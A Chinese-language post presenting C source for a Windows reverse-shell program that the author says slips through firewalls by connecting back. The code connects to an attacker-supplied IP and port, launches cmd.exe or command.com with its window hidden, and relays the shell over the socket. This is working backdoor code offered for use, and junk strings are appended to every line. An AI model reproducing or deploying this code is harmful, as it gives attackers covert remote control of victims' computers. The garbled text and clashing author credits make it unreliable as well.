这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 YOmM=X+'H
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/* ============================== 7%|~>
Rebound port in Windows NT Oagsoik
By wind,2006/7 .Z
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===============================*/ j~jV'f.:H
#include Ay0U=#XP
#include jYmR
sl`s_$J
#pragma comment(lib,"wsock32.lib") D!Pq4'd(
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void OutputShell(); ij( B,Y
SOCKET sClient; @v)p<r^M">
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }o?AP vd
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void main(int argc,char **argv) zkuU5O
{ _4U5
WSADATA stWsaData; DpvI[r//'*
int nRet; '}Z~JYa0
SOCKADDR_IN stSaiClient,stSaiServer; lvBx\e;7P
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if(argc != 3) d\|?-hY`[
{ :*Z4yx
printf("Useage:\n\rRebound DestIP DestPort\n"); WrxP
return; v4`"1Ss,K
} t!W(_8j
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WSAStartup(MAKEWORD(2,2),&stWsaData); yW1)vD7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D%OQ e#!
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stSaiClient.sin_family = AF_INET; '
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stSaiClient.sin_port = htons(0); m.#
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P2BWuhF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;=eDO(Ij
{ pfA|I*`XV
printf("Bind Socket Failed!\n"); Z'`gJ&6n
return; cl[BF'.H
} AN8`7F1
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stSaiServer.sin_family = AF_INET; Z_};|B}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lYVz3p
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GP!?^r:en
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p{amC ;cI$
{ W=^#v
printf("Connect Error!"); g]<4&)~
return; 2&:f&"
} 0=@?ob7
OutputShell(); C%$edEi
} ]qethaNy
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void OutputShell() u)X=Qm)
{ 'y;EhOwj,
char szBuff[1024]; <k eVrCR
SECURITY_ATTRIBUTES stSecurityAttributes; 4ni<E*
OSVERSIONINFO stOsversionInfo; T*8VDY7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mXRB7k
STARTUPINFO stStartupInfo; |% F=po>w
char *szShell; >:A ARx%
PROCESS_INFORMATION stProcessInformation; ;(f)&Yom
unsigned long lBytesRead; \f]k CB
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Tzt8h\Q^z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^W`<gR
stSecurityAttributes.lpSecurityDescriptor = 0; oRm L
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stSecurityAttributes.bInheritHandle = TRUE; s>B5l2Q4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *rM^;4Zt
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $*^kY;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <":;+Ng+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H{@Yo\J
stStartupInfo.wShowWindow = SW_HIDE; opY@RJ]
stStartupInfo.hStdInput = hReadPipe; o1-m1 <ft
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \s/s7y6b+
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GetVersionEx(&stOsversionInfo); \kp8S'qVo
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switch(stOsversionInfo.dwPlatformId) X\`_3=
{ X}=n:Ql'YY
case 1: 3)F|*F3R
szShell = "command.com"; "9m2/D`=
break; NO~*T?&
default: T_s_p
szShell = "cmd.exe"; j5K]CTz#
break; *EOdEFsR/
} GQ t8p[!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K0H'4' I
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send(sClient,szMsg,77,0); =+/eLKG
while(1) qOe+ZAJ{%N
{ r;/4F/6"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gcE|#1>
if(lBytesRead) T?:Rdo!:u
{ `s"'r !
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a;rdQ>
send(sClient,szBuff,lBytesRead,0); dq7x3v^"ZG
} PpGL/,]X
else jq-p;-i
{ iWei
lBytesRead=recv(sClient,szBuff,1024,0); fdxLAC
if(lBytesRead<=0) break; 2>|dF~"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ks3`3q 7
} o4`hY/<t
} Fgk ajig
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return; , R'@%,/
}